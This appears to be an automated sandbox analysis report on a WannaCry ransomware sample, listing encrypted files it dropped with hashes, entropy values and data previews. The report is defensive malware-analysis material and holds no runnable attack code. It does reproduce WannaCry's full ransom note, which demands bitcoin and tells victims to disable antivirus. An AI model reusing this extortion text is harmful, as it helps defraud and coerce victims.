                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.83084606604275
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkSHtfRar1ZtRMonDjLkh+kzEslHaXNVfiIeZ3kTh/13/NL495MlFsT+:bk+tfMtRJD0h+KtQeQht3/a5MsT+
                                                                                                      MD5:A9B3B4508733E04ECBDE2785C02ED661
                                                                                                      SHA1:8B49D771141E7E1BDE6049486692AAB9E5220CCC
                                                                                                      SHA-256:12A6E9ED17B286F929E1D87648DB0649A37E7946A04CF1F337554EFE88031FA6
                                                                                                      SHA-512:445AE02ECEFC39B16EFF949F6F358B1DA92F9B0C2544E476036127646CFD08A35ECC6AD857BC42DB4AB4D93BF3F2693A66FA1BA48DCC81D6B145BA896F97CD32
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....:..............1&:.s..#.wh.(x..Rq......fI@?Hf...]x...`.Z.....C.9...@C4..3.+..OW...O.i.rSoA....{I..?.)..$.i.t.9.!......tY.....[..oY\x.~%..R.nD.#.....`v....#.P..b6...*./Eb..(.."M!../K\Ix.?`.\T.K.^v..L.d.y_dD1..I.X5...d.....A..wD..#;{...e...............xRJ4.,.g.S,...E.Q.o2......&4.s.|..B.....W.c4....u=...S..W...C/\R.iDh...-f.Q...t...e.J.Y.|..X.J.w.lo.,..\.7]..C. '..k.2.B:...y<Q/KSN.S......xKK.]=..sN...G.....j....y-.:p..e.6.....L#"..W.E.%..QY..'.^..M...l..V0..+]...)...J!...+...$..[.J.;.L#....1I...%.ZR..2....1.Eq.L...'g.7..}zeR.s..)Mp#..#.!.cfV.QY.3......&...BUt.x.e....DBs..U.j.|M...&`'.:.O.u..w.d.F......m...m..=..\.6.6.....y..&._...c..p.{....!.g*o...E.Y.7f........._..x......:GW.;/@...x..o.vHs......(.M..2......z#...;.....{.D...J........_9G_..i..t..!..t..2.r.\.Y..tR.9~..Z....9M..........v....}...........*.`W.....Wh.B.iu.;..d.....F.IaK.F5I.}X*....E1.G...01./w.#V...;...@s.....R...+4.4A.ZlR..-i9.h.f..C..8h..T;..%.....

                                                                                                      C:\Documents and Settings\user\Downloads\NVWZAPQSQL.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.848442067981894
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkFd9E4hSz86y/a1C5fOvkMP3gKFZQa3i7aRml581UtW8MuCJvHtS20:bkFTERz867OMYKzQlBl5yk0JvHt90
                                                                                                      MD5:454D16962AD71C86FDF90DD85A89DBD0
                                                                                                      SHA1:B6B0049F111CC5472A44F36D7B9BD52C69FEF903
                                                                                                      SHA-256:1453591A830BF3159E56DE66EC416002F22DC795AC9D8F2053293521E775C13B
                                                                                                      SHA-512:DFC403085C328C2050FB2BF98AFCBF026541DA0BAC18A09E1562DC3322B6A975FD2E56A7EE388E1A2689839F5914076C24C26A38F936798D0B4F104EDACB6D48
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......w'c(....f.I]..P..p..?. ...)g.Ic.$CYo..OX....4.$.T._!;R+..i?c.m.|...(.]..!".$%#.7.....;.0..Nc,..l.=.K...ck..Q....\..w....2...Z%z.u...,[ .sT1...]]{rMuFH.......h.M)Gce>.WA....b.s.{...~....5O97..D>....3.....`.v..)...8..J.1...K+..........<.G;m..............$..}.w~.a....WZ..A2G....g:.Z....k..TJ.n..F..p:^..l.........:...ds.7m..A..l..Q[...#.,...\.[.>P|d...u.8...L.yf.3.2......cV..I.N........zty..v..l..Yyc.|.J.}..S=..L........>n..iR.O..:+P...G.m(........."o.Ul..?..-0...\(K..:'@c..\...0?..-0.'7R}..a.v.D[.q@W.M...hc{.~.?%.....K%...j....U.U.....UD.;G..h..&P..n..X.o.O.UM.[.:Xn.......lc...s..J2.c.yw_.V..h7r.>..<.n0..;4.....'e...m..y....S...g.[n..L./...W..b...j#./.e...[G;0b.ul=}.?..L..../.......p.5=......c$..v1F..........c..R...`.?!....X.L..v..i..f.ps...}...aj.<.;.. ....O.c...\J.....,.r...3D..._..hHI.N...L..p...}B.n..<.J.):. .! I.....^..2...\..H.^I'..#!b-TNFg.j.. .!#....yWq{.0>...L..eOe.;.c.]8..H...0.Fk..fX..Z.p..pI...}..%kN..{R&../y.[..x

                                                                                                      C:\Documents and Settings\user\Downloads\NVWZAPQSQL.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.85041239780691
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkfmpKWBTUnhe8Qk2V3g6dWcBSqRP5D2c0GiiQgAIe21HQQw9QvX4losOoFX:bkCXIk8Qkr/1AV2c/3QQHpXs5F
                                                                                                      MD5:14225D0097EBC1C3819A861777514C95
                                                                                                      SHA1:7DD1B8F7EBCA466DE8E65EB289D14942576E4FCB
                                                                                                      SHA-256:08E14922AB45577DD82D2996A85BD239D5071419F34766C46BF2D0D84763346A
                                                                                                      SHA-512:38E14BFBA3629D2991D79CE818604918D0727741F8B3B6600A38FB48BF22850A46A3B88FDDFEBA58F8EFA7E042AEA7D6CA14A47D0DC70173F7824897F9399CEE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........g..{..->AE.....3...].)..Kp..fN...j;.y.._ D.(.N.....8E..>..i.....E.{...|'+nIp8J...7...BY... ......ZcG...c...p..AU......*..Q.._..yK....Ea.=.e.G...q\%..'.[G..-b....=..r..{..M....#.....e*g.....mIy..?...fH...t^{.....i..hb...d/R.....9.:.....................Dgc......6..~..#z1x..)...='..74lR.t.0..!....vCK........W....n$.j.1.b.C..M.V.oo.xD5....M.f.g..#..cG8J..ZLF....H(..,S..F..i..:.3{h.:2.ZBy;.+.Y.XY=.5Wac...AHu#N.>.Q{`G..2..q.VSf..;..48kq{r.'~w..AS.....[...%.h.....V.P6.:%.s.........]..:.Rx.d.....o...).t..=O.f."...jY..;s...X..Kc....#.<..*...AjT-v...,...m..8Y.KE|.0...'.).^Q.G~....r...u....n../Q....4PNYj+.9\..W..F...S.wn.M^.N5.......jH.....I.0..9Z.]..S.l.W...o!.s`.l\.I....Ye..|v...Wb....X,Zi....#.A.m.....1y........Q.<5).....+yy..Rv.a...|.`1v....G.".b*2..g~:J.R..-&d..:.K.1Y*..(A.=..Y.5.c.....D.m..K.....d...U.u..$.O...a...{VI..+...u!..\I.d..A...M..o\B.1..'.V..T.j.....>g1....H.`A.P"K^h.B!..*3.'.op.l.c.......7...g...u.-.^6v.T.

                                                                                                      C:\Documents and Settings\user\Downloads\NYMMPCEIMA.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.851974854834523
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkeeBLliHb9GAzTsMzE7QeFCJCZ7H0Brk6RJHPdmbs1h:bkHCUAk3uJCZD0/RldIs1h
                                                                                                      MD5:9ED020E4F63C108B6BF5E92A438FBBD4
                                                                                                      SHA1:BBD602F811597E4BA760AF0FEBA4A7CAA20A8DF2
                                                                                                      SHA-256:F83A5A2199D187CED27E9B6A42C550F6D38001BCD425DDF4D8C87B1E36468C62
                                                                                                      SHA-512:DF1FBEAD46309FA4F384452315026A24A1802E875935FB96D2E0FD1962376D3C1A08A89EC0DF5C6B795F744347F736B4086FB4EFC6F6094C4564A703D603FE6C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........xc..G.H..&Q.CCJ."K<C'qc.O.6h8.S.\-.N9H>)...6....ge.......h,_.cGs.1dF.h.xz..]_.......wc.....x...(..:...jb..8.l.T..Q...".9...iH>.....u..K.G6p./.l....UtL..[.DX..X..F.sh...Z...G.c.wg....2.O..<"..N'.....0.&.C.~].&...V..C._.qN....v.....5...................{..._..6.zdQ..k....b<.......])...k.u....E...........u.>....Q..........em......t..3.D.5.-`........{.....&...e..8..x...G.f{.YG...y@T.{.+...+.p.,..qb.).5...._.^q...`....z...R.].@.H.J..`fU?..]....B;..N/....N..!p..'yA..........z../q.......l..~.P..K....M.%x ..#F@......2......t.. .U.......o6_-&.w(.9u..l(Q=.@.d...|..t..F.F..2p.....z'$.L...2..B.."..=w..iM.{7...K.G..h.....(.W.........A.I.3.!.R..G.u..^..9.J....j8.i...7.\..0.P^..X.rKs..)3...U.p.....9x2.....5&.Wp..].o]7.....;.u8...^...A0p...-j...<..c.&:^.{.$.....s.....o....w.:w...o...5ZEP..y...V".^=......YG....w.%...#....n....i.-U....,..H#~......(.1X{...U.2.c.gZ}^.U....T.2..y...`Xq..k:W....?.;M..e...o!.<.t.;.+.I..KC0..4.....d

                                                                                                      C:\Documents and Settings\user\Downloads\PALRGUCVEH.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.820651747418555
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkOTGezEBFGzIGcxRE5ROhtIVymTte72XqULgAyaRwaxcj6Mj7Jz9PSaQ:bkOzwGEdRE50r4taWqugfSNxuv5pPBQ
                                                                                                      MD5:ABEE7E1ECC9D4BD1ADF595827D154EAF
                                                                                                      SHA1:78D15BCE88D81B65003E2AE1C54C91CFEB50A8E8
                                                                                                      SHA-256:0DA68C04D70363AA5F6D93A01F2FC1190B1F637B303CD96D677237170E7E9E7F
                                                                                                      SHA-512:C314506486AD55D953898FD145885F6EB606C152F394A96DA88E7D97207086CE6E680C442BBC69F48D160AF1F12BFFDD374F84A27DCAC72266CDB25868CF3A84
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........%l.X...!...a5.xWNR..$.Ij...3...oc...\...i.(.DV. .....+.....Rw(.h.B..*iX..{).f..&....JC.r.u.\.c.r.|Y..fG*.D..I.".N.)E.`.l&.9..bM.'..,.{D.hHC.3..1..!.."..-...|;....I..n...<5..;E...{...5`......pC....v..0..Y}.;..ir;..;.I.:...._/.*..~..{.ptZe..............;..E.06/...$...Pq..I.A.....q#c&XTFNo5.%....\e...\}...L....Mww2...6NM7.R.;H..'...]....v..O.|.o..3.!e....#...g...x..2+..;....Q9.X...hD;.......%..7|..S.>H.b. c...W...2...'.N.....AO....c....`..&m.x........yO....W\C..wq..Wq.R.dc...S}.O.o.#.d.g.7.A.Z....^..Vo....8.R.9......+A?.(...*.N.....8i.I........|.........[...x....@.C..L... ...i{..z...Z~......u...../.-..f....&5S.i/.-mv3r.`|t].).&. .di..5.,..N....T.6..b.|...b"...5hY`@..r.;U..pN.#.......6C.._*....8.}.f..yZ.m......=nD..z.Ii..&).......z.n...LA`J.M......g/......'u>..hP$........}.=...@...(r..........y.E).H.....1...;......'..\.D..BX.+....<7....t..D+(...V.N..S...vl...C?....bx..XC...r. ...hV..... ..S3.....2l.$}<..:........-S]...&1....

                                                                                                      C:\Documents and Settings\user\Downloads\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.853225878341567
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkzFEQO4MFgJG12tITcyDcch00v91r1H/19XIBy5S+GE4DUIgXH2Plp0PLiImt9J:bkzFGFDuucyoch00dH/r4uGEwGmP/0GJ
                                                                                                      MD5:CF980409A0A1B4A8F48F9971575890B1
                                                                                                      SHA1:75006778B93E235A4012F85BF99676BEF0D30EFD
                                                                                                      SHA-256:75A796CC1BBD025A020F78BD5ABAE570913ECC02F7ABEA51A108546E732E1D49
                                                                                                      SHA-512:02E1C235487C6E2BCE46044F6FA5AEE2002A1EA8AA66AD7BD3C15F18B3EBB45FB7534AE622BC4F5965B5DC90A2C8512CE856301A37B8E1874BDC074A57025C5E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......b...E..../.%$\.<..Z....o{..H4.7Nh./8V.c..e.$.w.$.Q......\.P.LJ..G...WV......;.;-.:+."..*7..^P..EV.g=#..@`.....sQwQ...4.5.a[.._..*...v.Hfl..=W............F.G.."S.....C=.....U{."...3.W...~T..G`p.Sb..$...2/....-.P.Dr..n.....q".Z..3.M...B.............7r.?5"...2.D.i.3Os.f9[..t..".f$+.F..2k...0..e.4f.....#.Q=.W.....s..tK.....Dt.X...i.%../.....a..(.T.7..{S.R.C..)~Xz...'..J.i._u.p.....$...#.J4..+.~m...6....._.l,.O...QV$%....TZ.L.w.{r..:.....4...b.]./..qxh.$ZN.$E..L5...F.J.].).M..Ew..Cj.?.`.w...'5..PM..b..~r.j...?ld<[.<"......"x....R[.F...j...5..0.".m...hMq).).....N!.).:..O.`p...hkS.7|_..r.u...<}=..*.%.P.....w*.)....&.?g....X}.5..@#....x.p<.6..c.|.........Ch.KL..#9.T.J.....@<|Zm....v..-.ds.9..1......^\Qd.s.;r/9c.10p....b..^.!.L....&c..Yd..C6.!..*...p..x......+.......i...Q.J.%.pq.>*^.i..g:z..O..q@.wK%H..h=..v.g.@..-i.&..6.....4..V.Wm.~....Au8.*W.9.^..E/J..9Y!..)...(..}g....0..m,.:...v.>........f.j`.q.)....D4. ....d.@%..YZ..4J

                                                                                                      C:\Documents and Settings\user\Downloads\ZGGKNSUKOP.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.841313866163293
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkUslhfN+rJlHT85GgNqr2vlKt9rEzwEjncRPbKs+VEFXgf/jEso:bkUslxGJlzdgMrxMwE6PbmVQX+do
                                                                                                      MD5:0659C1942939C2021545086389AF6983
                                                                                                      SHA1:EEEC45EE15A26EC9FEBA55F9D09EB4C04A1AB73B
                                                                                                      SHA-256:36A8AA05F549C71F017E908D5BCED42F159507D96154424CBDB75E93E6A05755
                                                                                                      SHA-512:EFF6C698A10E77D89633A2774A46A7109C8FF3C3B24A9AEDF1ABEE9B80F67DF32860A54D739BEF484595695054C7EB8C9EF38901BEF7886FE2D47B98807B4763
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....%)...*...%@......_,..@.=. .6.y.......S...C.8....$..Vv+..y....j..{ " " ....bh..p6.'.U+R..D".RcM]...(..mZ....../`!B...*#. ..X..-(.;.o.....p..J..H;....V.H.-..@...N.T....=&.Ee.H..gts.....0....nqI......V.(x......m.{.T..;7C.r.o.....H1....0...X...bo%.Q+..............H.n......'....d...aEw-.B_.S..y..K...K[.j{W......p..Si..y.y.e~..}.e.j.6..T.Jb-.s.U[=..S.4...........%%h.NW.D.}>.V...C.v.V......Z.&....g....Y.. F..$}..Z..........cb.k....>.r~_..!...V.....G...!...]..?Q$..e.n..[3...c..lyT.^..4.....Q..[..Uc.>....'A).b...{....:G.6.......0..@_.....b.a.....L.... Q.........3..m....[e.d!..1pr..Q!......&q)........i(P......kc..4.9z.g.f.....S.k.....n.y>......S....Cb.S........C.\#..;......7...u...^..1.U6..."......!..rTx...9Q....X...%F )...JLr...M<V];..p...:...z'........w.1a...CO.\..R..TJ.s....U_.......{).6....T.?.. .`..Fo......s.,Ngl.I...S.#.T./a.-.#.k.."\gy4.k.U..d)<...w...Lq.y......U.0.4...{@..r..K...H.d..."....T...k..H..i.Jn.7$v...z.>....T=p.;..!..]

                                                                                                      C:\Documents and Settings\user\Downloads\ZGGKNSUKOP.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.856811328158595
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkWPfwY5aHt1h4yGsRLxhGiLl80VbrJEqwoiud2I4lmyd/pyFyttpV:bkWPfwYyt16URFLl80VbrJD7i82tv+Ex
                                                                                                      MD5:278C68CEBB343CFDEDE67777A9182DBD
                                                                                                      SHA1:8667835F400DF19729C103DD37FDE7C416FBAD46
                                                                                                      SHA-256:50A56F433B2A6BF3AB055F49EDC29476BD73155C42E05837DA491822EE6747D3
                                                                                                      SHA-512:1C7C997E6F63F8A7EDD0B31162F689DF67BAFE6EA99CBA219D22699A3BF5A226A8DF39910576141BAD0E098DB64823F74B4B296BDBEA08F29D42356E5E4C9312
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....FB.v...L}...*.-:....=KF>...../..F......I.J........P.(Kb.T...b..H....Xk.kf.....t:...........mzv..<vY..:._.].1.I.i....\...._.(.v.......}..O...)........c$..P.,..x.cx....yCP....Sa..h.r]M.45legv.......h..4.,....`.tj.a9...f..9....[.7.Q.....Sd..8K.\.............d........A2h.C.2Mo;....7^.30..,,..R.....F..H..<.KDb.U.X.).."..^...@.rPd.}...^.]_...%.w.#`.p.L.ux..s.^St.Lpmz.z...|....%L.%....Y..Zr!U.6v93....:,Ro1...L.~.M.]y...o.+$w.X4iL.......b2.b}.O..=....k..p...{x.8.j).H.n......OBY0.c......g.3q.l..g.l......e....Jo..&.4....!...v.....z.vLR$#......iL...8.-.R/...p...W.. k..C...}Y]s..<..oV:o.....P/e.. )....+y(.'Z..p..,z.y_...p]|........S?....`(.W.,o...........F..+v.A.Jo.<M....#...I^.....r}........}0.7..B.l....T......{..V..Q.h0.~I.....^.p...9.f..I..p.NX...z...Q.-.-.{h.C...a.W....U\........D^..k**..T.O.g9..W)...n..^.&m.M/C.o.G.......]u...U_.RD.^j.k... ..[YE.Y..zU..........t.J+...s...(......[.xO.4...&.T.. .H.c...%...u....f.R..BDWdem:...g.h..B..

                                                                                                      C:\ProgramData\Microsoft\AppV\Setup\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\ProgramData\Microsoft\AppV\Setup\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\ProgramData\Microsoft\AppV\Setup\OfficeIntegrator.ps1.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5256
                                                                                                      Entropy (8bit):7.964613167984854
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:ocdRpLKbJ0GOrwSfy3k1d8Dfphgv9fusoopIiE//33KydZ0c:d3FKbyrwmF1d8Lph29l/yvBdZ0c
                                                                                                      MD5:CD047E0CD8992196666DC9146B5D1360
                                                                                                      SHA1:E82AEB5727AB45759899601F38F1BB9431337FF1
                                                                                                      SHA-256:F6E515D07379D77151227DE351359AA8E8C9667B67B7B6A94B57EB763F3B9F50
                                                                                                      SHA-512:D45FF3988A8AAFD459209F7AE6B29A43DCF14BFBF6227DEF806EC8F8B57EBCA93FE012176C9BD34E4E63C46AE2DFA8B2E91C8FD8916CF8D5105E3792F93EFF72
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....>(N...t..u..k|p..._.p.c<<...O./3.^.~.5...K.[......K..Pd.~.. ....Y.4#.b.....>Y&..^..Z.......p...I..gX...X4X.ZSI.."...%uv5.z.....m.B:~......4.2..!3..8..C..#..:.70x.c.GL ..`..8S`&..+)v.:;......y%..X....!.M......\.M......4...k.R..|.k.3.?-."..X....h.........?..M.......'.+.'9....k<.ZU~-..E}r.S.R..~.....m5D..Z..9A..Y...........-.wjP.Eo...A.......?.8D.t/8...,.%x..1...=..n......$.bR...k.g.w....m......^..Q5....Kg......n..1G.B.5...J.X^X....Y.n.fC........l$...aF}f.E.K....e..1...?.a$G:.....zk..](.A...!O@QP"h...o~[..............-...P..........Y..u.P....B.. .k.ww.i..........B....9...!?'..z..4..u)....}9..9b..Fq.jE0|6......R.o5cu.f.Dc..t....D.Z..4gq.._...I..1.L..u_".}.Zg..I.n..o.........k..6.Z......;P8..HS...o.|..LY...)g@..N...^.s..JJ[pr.. .....kpW..3wx...l.H.....).......?9. ..S."E..4.!7.e..E...c..#3. .Sy.r.....RX.5Y..S.]..;g~...o?%B.....tf...9..=i........5.?....Id.........P..\.>yW....i.T{.k.W..1i......F....Zi...}R.w(..t..2H...en

                                                                                                      C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):443032
                                                                                                      Entropy (8bit):7.999598881295417
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:lrqaHS8KN3GwsLylvKIehmfpPxsmmaJtMM6KCFg7pf:crl+Ly9tehmfpp7KM6DE
                                                                                                      MD5:CECEB4C0DBCF2AACE5F428B839C37200
                                                                                                      SHA1:C5A2D273C7F968CC94C28DB8F89B15C2DACE9B42
                                                                                                      SHA-256:328566DAD3CD11D2A5F97D7582951C00A2275E79A3578D678409CDC01A4E7BCE
                                                                                                      SHA-512:F81660F85B91110C169FD486AEA5394CC78A4C5A5CE03B8F0A14AEBE2A23763CE3C9028F0D825D14CA75B31136E5DA11FE770E991DBC03024C65ACDFE88FA06E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........5...S.Pt......~.B..j..b..iq........Sq.D$C...I..{,.7.ws..q...<bE.....I@~X..+.....Z;...d.I........m<.......(.*3.s....&?..$.c.d.!p..A$..K..a.....+.....w_.S.3$.....T.......q...8J.f......H.i.Q(....$=.K.+..`......iW..X.Z....c@}J.l......*..B,6q..HN.a.....y..........]......(.|.4..0J.......)j.^4....%..X..iv^'9.0B|.v..!..j-..`.2...q..'R..C.1.'V<..O.6.........k.iw....eA.d..w.Q.."..l.V(....mG.p..2&.wjO..I.F.w....Z.........K....RB}R.&4..R.-k........3.....I...!.o..6...}...]q+.X...=.A...oLX....e.&...-....c.^....IQ_."..F...........O...n...6|.<{#..<.d..@O..3i ......Xp!..W*......f....X.#13..$.'..C+....{n.....O[.Q....pO1..d...C ..pX..Tc.......+....ck....}......i.gK.,prpD.G.4*....W.{..k...>.X.....}....]*..Yk....Y.QY...w.*.q`..;....=.!...9L+W...F}H....5..C5^....%.g.)'#.y...X..:2.1...s.n.....@.......w...K*4.....,.....)my.....<..x.\..zzS\.lL\@....W.Y....$...W...C........^T.......-Nn...q.J.5~.'L....T.....A.....JL,v...N.VYm..r.F...z.>\.........

                                                                                                      C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):11251992
                                                                                                      Entropy (8bit):7.999981721115664
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:196608:R/jEsVqTBMe4pYx9zuaMzfxE5wR4MKZ41r11Te+/x3V46lz/GupVDonO:94tTB4o97MzAwR4MKy1r3LRGoDoO
                                                                                                      MD5:F27251371187DF77C97CB8E246368689
                                                                                                      SHA1:972A200A60265114CC9A8AC9C85795DCE93260BA
                                                                                                      SHA-256:D235E889DB9F37B9CCE01A9C89253C3B188753D27AF284E2E3C8F65A41964AB9
                                                                                                      SHA-512:57E736E9EA09B9CB66C737EFED70423AFDD93D3C7AA9561F6197DE4E08376105F4596BA869C0D3D0C1AF1395472B45F2893105B97631011FCC1C31AF735480CF
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........#G...y...WY..^...:.*.^CD.j.J.%....V.9.]..].......a... .".).=...8.^.s.2z...../..Jv..!...g.:.u..:g..$...j......6:7HV\...!.....Q7M..t.|...`d1..Q..Fv....vU......._...E...%....2U!PA..z...w.j0...~..>.*.{Dd..\..?..a.......w..........X.8...d1b................A.%.eK..........6.fs.5..x0..l..<d..w...t.8'...F~.,....~...b._.,Sp...E>...9.$A.[-\l.,._.$ed....A,..''RO....u.)..rt9j.E...Y....ln.^V..H..@....UN.<....._...z..r.B..='....h..l..|..[bE.[.gD...(Kp....Q.Q.@.y..VX.. .ln....w.x.7.......qh6...L2.6..Jw.m.w....z..&..D.c...5..".8..Y......J.....PU...j=.....\..M.....0.4w}...1.....S....o=.)-7..R.7.....u.n.b..GB^_..}.......q..y.X.. .<..K........j>N......>.d].a4..R^..<.W......8..$..EC....X.....A.4..(#[.N^....>|.*..V.o...(..f..c.4d...d...bLe..N.X.T..V>.x...;.`C.K..].. :.=Ke.;s..C.)...\.#.y.?(....`w...T_..-g...,kk{0..."......F@.j.N-w.....y.......r .'RT..R...j....o.....6....P.M{`...wZA.7._.a.o..XB.3A...nm$:'x|.6.b@.b..E.3 a2ugD/.9.4U.px..Q

                                                                                                      C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1729112
                                                                                                      Entropy (8bit):7.9998849387551
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:2/PCzx3mp10NG6H+ZEhm6wqFaFToZgdtOTmFMSBBF4lgHoIG5xxnN+NgJTeTk3:2/PCV3mpiSueqw5SY5F7BB+aIl5Z+OJb
